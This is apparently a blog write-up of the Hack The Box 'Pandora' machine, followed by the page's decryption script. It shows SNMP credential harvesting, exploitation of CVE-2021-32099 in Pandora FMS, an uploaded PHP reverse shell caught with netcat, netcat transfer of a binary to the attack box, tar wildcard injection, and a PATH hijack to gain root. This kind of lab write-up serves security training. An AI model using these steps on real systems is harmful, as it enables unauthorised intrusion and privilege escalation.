As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to foothold First a masscan scan rob:Pandora/ $ sudo masscan -p1-65535,U:1-65535 10.10.11.136 --rate=1000 -e tun0 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-01-17 14:42:05 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 161/udp on 10.10.11.136 Discovered open port 80/tcp on 10.10.11.136 Discovered open port 22/tcp on 10.10.11.136 Interesting, we have port UDP 161 open for SNMP traffic Now let’s take our found ports to nmap rob:Pandora/ $ sudo nmap -sT -sU -A -T4 -v -pT:22,80,U:161 10.10.11.136 Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-17 14:54 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Initiating Ping Scan at 14:54 Scanning 10.10.11.136 [4 ports] Completed Ping Scan at 14:54, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:54 Completed Parallel DNS resolution of 1 host. at 14:54, 0.01s elapsed Initiating UDP Scan at 14:54 Scanning 10.10.11.136 [1 port] Discovered open port 161/udp on 10.10.11.136 Completed UDP Scan at 14:54, 0.07s elapsed (1 total ports) Initiating Connect Scan at 14:54 Scanning 10.10.11.136 [2 ports] Discovered open port 80/tcp on 10.10.11.136 Discovered open port 22/tcp on 10.10.11.136 Completed Connect Scan at 14:54, 0.02s elapsed (2 total ports) Initiating Service scan at 14:54 Scanning 3 services on 10.10.11.136 Completed Service scan at 14:54, 6.06s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 10.10.11.136 Retrying OS detection (try #2) against 10.10.11.136 Initiating Traceroute at 14:54 Completed Traceroute at 14:54, 0.02s elapsed Initiating Parallel DNS resolution of 2 hosts. at 14:54 Completed Parallel DNS resolution of 2 hosts. at 14:54, 0.03s elapsed NSE: Script scanning 10.10.11.136. Initiating NSE at 14:54 Completed NSE at 14:54, 28.24s elapsed Initiating NSE at 14:54 Completed NSE at 14:54, 0.10s elapsed Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Nmap scan report for 10.10.11.136 Host is up (0.020s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA) | 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA) |_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST |_http-title: Play | Landing |_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) | snmp-processes: | 1: | Name: systemd | Path: /sbin/init | Params: maybe-ubiquity | 2: | Name: kthreadd | --snip-- | snmp-interfaces: | lo | IP address: 127.0.0.1 Netmask: 255.0.0.0 | Type: softwareLoopback Speed: 10 Mbps | Status: up | Traffic stats: 7.04 Mb sent, 7.04 Mb received | VMware VMXNET3 Ethernet Controller | IP address: 10.10.11.136 Netmask: 255.255.254.0 | MAC address: 00:50:56:b9:f0:54 (VMware) | Type: ethernetCsmacd Speed: 4 Gbps | Status: up |_ Traffic stats: 435.90 Mb sent, 443.27 Mb received |_snmp-win32-software: ERROR: Script execution failed (use -d to debug) | snmp-info: | enterprise: net-snmp | engineIDFormat: unknown | engineIDData: 48fa95537765c36000000000 | snmpEngineBoots: 30 |_ snmpEngineTime: 21h40m49s | snmp-sysdescr: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 |_ System uptime: 21h40m49.54s (7804954 timeticks) | snmp-netstat: | TCP 0.0.0.0:22 0.0.0.0:0 | TCP 10.10.11.136:22 10.10.14.8:48172 | TCP 10.10.11.136:34422 1.1.1.1:53 | TCP 127.0.0.1:3306 0.0.0.0:0 | TCP 127.0.0.53:53 0.0.0.0:0 | UDP 0.0.0.0:161 *:* |_ UDP 127.0.0.53:53 *:* Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 0.560 days (since Mon Jan 17 01:27:42 2022) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: Host: pandora; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using proto 1/icmp) HOP RTT ADDRESS 1 20.18 ms 10.10.14.1 2 20.27 ms 10.10.11.136 NSE: Script Post-scanning. Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Initiating NSE at 14:54 Completed NSE at 14:54, 0.00s elapsed Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 38.91 seconds Raw packets sent: 60 (4.137KB) | Rcvd: 37 (2.892KB) We can start with enumerating port 161, first onesixtyone to confirm the community string rob:Pandora/ $ onesixtyone 10.10.11.136 public Scanning 1 hosts, 1 communities 10.10.11.136 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 And now we can use snmpwalk to dump the management database rob:Pandora/ $ snmpwalk -c public -v 2c -MIB:ALL 10.10.11.136 snmpdump.output This is BIG so we redirect the output to a file so we can examine it in detail In doing so we find what looks like a password being used in a process startup command iso.3.6.1.2.1.25.4.2.1.5.1122 = STRING: "-u daniel -p HotelBabylon23" Moving on, let’s check out the web page on port 80 There are no obvious further links onward from this page or forms that could be exploited, so we move on once more Let’s check our last port, SSH on port 22, with the previously found credentials rob:Pandora/ $ ssh daniel@panda.htb The authenticity of host 'panda.htb (10.10.11.136)' can't be established. ED25519 key fingerprint is SHA256:yDtxiXxKzUipXy+nLREcsfpv/fRomqveZjm6PXq9+BY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'panda.htb' (ED25519) to the list of known hosts. daniel@panda.htb's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information disabled due to load higher than 2.0 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. daniel@pandora:~$ id uid=1001(daniel) gid=1001(daniel) groups=1001(daniel) Excellent, we’re in! User daniel horizontal escalation to user matt Doing some initial enumeration shows us that we do not have access to sudo powers and that there is another user, matt that has the user flag we seek daniel@pandora:~$ sudo -l [sudo] password for daniel: Sorry, user daniel may not run sudo on pandora. daniel@pandora:/home/matt$ ls -lA total 16 lrwxrwxrwx 1 matt matt 9 Jun 11 2021 .bash_history - /dev/null -rw-r--r-- 1 matt matt 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 matt matt 3771 Feb 25 2020 .bashrc -rw-r--r-- 1 matt matt 807 Feb 25 2020 .profile -rw-r----- 1 root matt 33 Jan 16 17:13 user.txt Checking for SUID/SGID files finds us one interesting outlier daniel@pandora:/home/matt$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -la {} \; 2 /dev/null --snip-- -rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup --snip-- We’ll need to own user matt before we can use this however, there are no ‘other’ permissions. This could be an privilege escalation route from matt, so we need to get there first Checking open ports shows us that we have MySQL listening to port 3306 internally, this could be a good source of credentials potentially No working password at this point, let’s have a look at the web app config files. In /var/www/pandora/pandora_console/include/config.inc.php we find something // $config["dbname"]="pandora"; // $config["dbuser"]="pandora"; // $config["dbpass"]="pandora"; // $config["dbhost"]="localhost"; But these are obviously out-of-date credentials and we cannot read from the config.php file in the same directory daniel@pandora:/var/www/pandora/pandora_console/include$ mysql -u pandora -p Enter password: ERROR 1045 (28000): Access denied for user 'pandora'@'localhost' (using password: YES) In /etc/apache2/sites-enabled we can find details of the vhost for the pandora application daniel@pandora:/etc/apache2$ cat sites-enabled/pandora.conf ServerAdmin admin@panda.htb ServerName pandora.panda.htb DocumentRoot /var/www/pandora AssignUserID matt matt AllowOverride All ErrorLog /var/log/apache2/error.log CustomLog /var/log/apache2/access.log combined So we add pandora.panda.htb to our /etc/hosts file and check the website again But there is no change, we are still on the first site and try as we might, we can’t get this to connect, until we have a closer look at the configuration and realise that this pandora site is only listening internally daniel@pandora:/etc/apache2/sites-enabled$ curl localhost/pandora_console/ Pandora FMS - the Flexible Monitoring System --snip-- And there it is, let’s tunnel this port out to our attack box so we can explore it more conveniently We’ll use SSH forwarding for this as we have working credentials rob:Pandora/ $ ssh -D localhost:9000 -f -N daniel@panda.htb daniel@panda.htb's password: And now we should be able to connect from our browser simply by proxying through port 9000. We’ll update our /etc/hosts entry to point the name to localhost also It takes a while, but eventually we see a login screen for Pandora FMS We try to login as danial:HotelBabylon23 but we get an error So we can try the API But we get an Authentication error there, looks like daniel doesn’t work, at least not with reuse of the SSH password We can however verify that the API is working, the info endpoint doesn’t require authentication Let’s have a hunt for CVEs related to this product. We can see the version is v7-742 and a search on cve.org finds a number of interesting candidates. One in particular jumps out, CVE-2021-32099, which NVD gives a 9.8 score for criticality Googling finds us two exploits, both based on this sonarsource blog article https://github.com/zjicmDarkWing/CVE-2021-32099 https://github.com/ibnuuby/CVE-2021-32099 Both of these involve requesting a link from an SQLi vulnerable endpoint, the include/chart_generator.php file. However when we try it we fail to get an injection working. Interestingly we do find 2 different behaviours with this exploit when we change the username from admin to matt or daniel But when we execute with admin we don’t get the error, so maybe it is working but the SQLi is not responding in exactly the same way as we expect Some even more googling finds us another exploit which explains exactly what’s happening, the SQLi is updating the session table, so a quick refresh of the login screen later and… We’re in! We can quickly find ‘Admin tools | File Manager’ It’s always worth checking file uploads, let’s try uploading our favourite php reverse shell Ok, no checking there to stop us. Let’s see now if we can find it via the web server, since we put it in the same folder as the images it should be easy enough And it is, at /pandora_console/images/revshell.php we get a handing browser and after a pretty long while (long enough to have us checking if it’s working) we pop a shell rob:Pandora/ $ nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.18] from (UNKNOWN) [10.10.11.136] 41144 Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 21:31:08 up 2 days, 4:17, 3 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT daniel pts/0 10.10.16.3 13:01 8:07m 0.30s 0.30s -bash daniel pts/1 10.10.16.3 13:26 8:04m 0.04s 0.04s -bash daniel pts/2 10.10.14.18 19:41 43:08 0.20s 0.20s -bash uid=1000(matt) gid=1000(matt) groups=1000(matt) /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(matt) gid=1000(matt) groups=1000(matt) User matt First we’ll stablize our shell and then we can grab the first flag matt@pandora:/home/matt$ cat user.txt `REDACTED` Now, we saw earlier that matt has a SGID access to a backup executable, let’s check that out matt@pandora:/home/matt$ ls -lA /usr/bin/pandora_backup -rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup matt@pandora:/home/matt$ file /usr/bin/pandora_backup /usr/bin/pandora_backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7174c3b04737ad11254839c20c8dab66fce55af8, for GNU/Linux 3.2.0, not stripped Using netcat to transfer the file to our attackbox we can extract some strings. On the target matt@pandora:/home/matt$ nc -w 3 10.10.14.18 1234 And on the attackbox rob:Pandora/ $ nc -l -p 1234 pandora_backup rob:Pandora/ $ strings pandora_backup --snip-- PandoraFMS Backup Utility Now attempting to backup PandoraFMS client tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/* Backup failed! Check your permissions! Backup successful! Terminating program! --snip-- So we can see a wildcard being used to tar all the files in /var/www/pandora/pandora_console/ and store them in the /root directory. This could give us a wildcard exploit on tar. Let’s check if we can write files there matt@pandora:/home/matt$ ls -lad /var/www/pandora/pandora_console/ drwxr-xr-x 16 matt matt 4096 Dec 7 14:32 /var/www/pandora/pandora_console/ Yes we can, let’s create some files then and try the exploit matt@pandora:/home/matt$ touch /var/www/pandora/pandora_console/--checkpoint=1 matt@pandora:/home/matt$ touch ls /var/www/pandora/pandora_console/--checkpoint-action=exec=shell.sh matt@pandora:/home/matt$ echo '#!/bin/bash; /bin/bash -p' /var/www/pandora/pandora_console/shell.sh matt@pandora:/home/matt$ /usr/bin/pandora_backup PandoraFMS Backup Utility Now attempting to backup PandoraFMS client tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied tar: Error is not recoverable: exiting now Backup failed! Check your permissions! But we get an error, it seems the SGID permissions are not being inherited. Let’s check everything again matt@pandora:/home/matt$ id uid=1000(matt) gid=1000(matt) groups=1000(matt) matt@pandora:/home/matt$ ls -la /usr/bin/pandora_backup -rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup No, that should work, our group membership gives us permissions to execute the file and the SUID permissions allow us to execute it as root. The binary itself must be checking permissions matt@pandora:/home/matt$ ltrace /usr/bin/pandora_backup getuid() = 1000 geteuid() = 1000 setreuid(1000, 1000) = 0 puts("PandoraFMS Backup Utility"PandoraFMS Backup Utility ) = 26 puts("Now attempting to backup Pandora"...Now attempting to backup PandoraFMS client ) = 43 system("tar -cvf /root/.backup/pandora-b"...tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied tar: Error is not recoverable: exiting now --- SIGCHLD (Child exited) --- ) = 512 puts("Backup failed!\nCheck your permis"...Backup failed! Check your permissions! ) = 39 +++ exited (status 1) +++ And it is, we can see there that a setreuid instruction confirms our id as 1000 However, we can also see that the command used to trigger the backup is tar -cvf /root/.backup/pandora-.... That’s tar, not /usr/bin/tar, so we can perhaps use a relative path exploit to get a root shell matt@pandora:~$ echo '/bin/bash -p' ~matt/tar matt@pandora:~$ export PATH=/home/matt:$PATH matt@pandora:~$ chmod +x tar matt@pandora:~$ /usr/bin/pandora_backup PandoraFMS Backup Utility Now attempting to backup PandoraFMS client root@pandora:~# id uid=0(root) gid=1000(matt) groups=1000(matt) Excellent, we have root! Now we grab the root flag and we’re done root@pandora:~# cat /root/root.txt `REDACTED` div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };